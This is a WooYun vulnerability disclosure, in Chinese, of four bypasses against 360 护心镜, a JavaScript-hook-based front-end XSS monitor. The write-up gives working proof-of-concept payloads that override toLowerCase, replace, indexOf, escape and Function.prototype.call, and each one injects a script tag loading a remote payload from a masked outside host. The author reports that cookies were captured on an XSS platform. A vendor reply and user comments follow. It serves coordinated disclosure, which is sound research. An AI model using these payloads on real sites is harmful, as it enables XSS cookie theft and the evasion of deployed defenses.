当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0169588

漏洞标题:360护心镜XSS监控的几个绕过姿势

相关厂商:奇虎360

漏洞作者: 隐形人真忙

提交时间:2016-01-13 14:30

修复时间:2016-04-11 16:08

公开时间:2016-04-11 16:08

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-13: 细节已通知厂商并且等待厂商处理中
2016-01-13: 厂商已经确认,细节仅向厂商公开
2016-01-16: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-08: 细节向核心白帽子及相关领域专家公开
2016-03-18: 细节向普通白帽子公开
2016-03-28: 细节向实习白帽子公开
2016-04-11: 细节向公众公开

简要描述:

360护心镜是基于javascript hook机制实现的基于前端的xss防护,产品非常不错,性能也很好,但是还是有一些不足。

详细说明:

drops上发过:http://**.**.**.**/web/10636 ,发现护心镜针对出现的问题做出了相应的修复,但测试时仍然发现一些问题。
护心镜是基于Js Hook技术实现前端页面的监控,在拦截代码中使用了一个大的闭包,所以我们只能从全局变量入手进行绕过,在hxj.min.js最后发现了对一些函数的保护:

1.png


通过Object.defineProperty函数实现了保护,不能继续对这些受保护的函数对象进行劫持。
1、没有对toLowerCase保护
在Hook_Source模块中,主要针对外部源进行监控,在比较时执行如下逻辑:

2.png


3.png


都是通过toLowerCase进行转换,但是代码中没有对这个函数进行保护,所以通过劫持toLowerCase进行绕过。
(1)绕过代码:

String.prototype.toLowerCase = function(e){
return 'shit' ;
};
var s = document.createElement('script') ;
s.src='http://**.**.**.**/R4p6BE2';
document.body.appendChild(s) ;


(2)测试URL(接下来的案例只给出代码):

**.**.**.**/browser/test.php?t=";String.prototype.toLowerCase = function(e){return 'shit' ;};s=document.createElement('script');document.body.appendChild(s);s.src='http://**.**.**.**/R4p6BE2';//


护心镜没有发出告警,XSS平台上收到了cookie。
2、通过Check_domain函数绕过

4.png


对src进行验证的时候通过Check_domain来查看是否src中的URL属于配置过的白名单中的URL,进去看这个函数的逻辑:

5.png


代码中没有对indexOf和replace保护,所以存在如下两个绕过:
(1)劫持replace
测试代码:

var _replace = String.prototype.replace ; 
String.prototype.replace = function(){
return "test" ;
}
s=document.createElement('script');
document.body.appendChild(s);
s.src='http://**.**.**.**/R4p6BE2';


(2)劫持indexOf
Check_domain中对于chrome-extension://域进行了忽略,所以POC构造如下:

var _indexof = String.prototype.indexOf ;
String.prototype.indexOf = function(val){
if(val == 'chrome-extension://'){return 0;}
return _indexof.call(arguments) ;
}
s=document.createElement('script');
document.body.appendChild(s);
s.src='http://**.**.**.**/R4p6BE2';


3、XSSTest模块绕过
这个模块主要拦截一些alert, prompt等测试类型的XSS,也可以绕:

6.png


模块中对alert,confirm,prompt进行了重写,并且在call之前就进行告警操作,但是使用了escape进行编码,进入Report函数看看:

7.png


对参数e进行了判断,所以我们将escape重写,永远返回null就不会执行报警了。

window.escape = function(){
return null ;
}
window.escape = function(){return null ;};
s=document.createElement('script');
document.body.appendChild(s);
s.src='http://**.**.**.**/R4p6BE2';


4、劫持call花式绕过
在护心镜代码中,劫持的最后都是通过call调用原生接口,但是对apply/call本身并没有做对象保护,所以我们可以通过劫持call函数获取到原始接口,代码如下:

var w=window;var d=document;
var _call = Function.prototype.call ;
Function.prototype.call = function(){
if(arguments.length == 0){return;}
if(this.name == 'createElement'){
if(!w._create){
w._create = this ;
}
}
if(this.name == 'setAttribute'){
if(!w._setAttribute){
w._setAttribute = this ;
}
}
return _call.apply(this, arguments) ;
}
s=d.createElement('img').src='/x';
s=_create.call(document, 'script');
Object.defineProperty(s, "src", {
get:function(){
return "chrome-extension://";
},
set:function(e){
_setAttribute.call(s, 'src', e);
}
});
s.src='http://**.**.**.**/browser/evil.js' ;
d.body.appendChild(s);


这里的trick就是调用原始接口_create绕过护心镜中对createElement的hook,并且将script元素的src设置set/get从而绕过Check_domain函数的检测。

漏洞证明:

见详细说明

修复方案:

执行完整的对象保护。

版权声明:转载请注明来源 隐形人真忙@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2016-01-13 16:23

厂商回复:

非常感谢白帽子提供的绕过思路。由于考虑到兼容性、可用性和误报率,部分防绕过的方案没有更新到线上。护心镜是一个公益项目,旨在提高前端攻击成本,其代码和接口都是公开的,自内测以来,我们收到了白帽子们的很多反馈,在此表示衷心感谢,我们会做的更好!

最新状态:

暂无


漏洞评价:

评价

  1. 2016-01-13 14:55 | 红客十年 ( 普通白帽子 | Rank:392 漏洞数:80 | 去年离职富士康,回到家中上蓝翔,蓝翔毕业...)

    已戴好护目镜前来观看

  2. 2016-01-13 15:15 | %23D0n9 ( 实习白帽子 | Rank:31 漏洞数:8 | "><)

    不知道和蚁后发的是不是同样的方法先m

  3. 2016-01-13 15:53 | 法官 ( 路人 | Rank:4 漏洞数:3 | Seven QQ94170844)

    已戴好护目镜前来坐等公开

  4. 2016-01-13 16:46 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区!Blog:http://www.xlixli....)

    酷酷的!

  5. 2016-01-13 16:50 | 隐形人真忙 ( 普通白帽子 | Rank:163 漏洞数:20 | 关注安全研发与漏洞)

    @xiaoL 荣神

  6. 2016-01-17 03:06 | Mengter ( 路人 | Rank:6 漏洞数:2 | 太难了.)

    前排出售瓜子矿泉水新鲜大西瓜咯

  7. 2016-03-03 15:41 | Mark ( 路人 | Rank:12 漏洞数:3 | You deserve more)

    代码在哪里? 为啥我使用的时候 还需要邀请码[抠鼻]。。。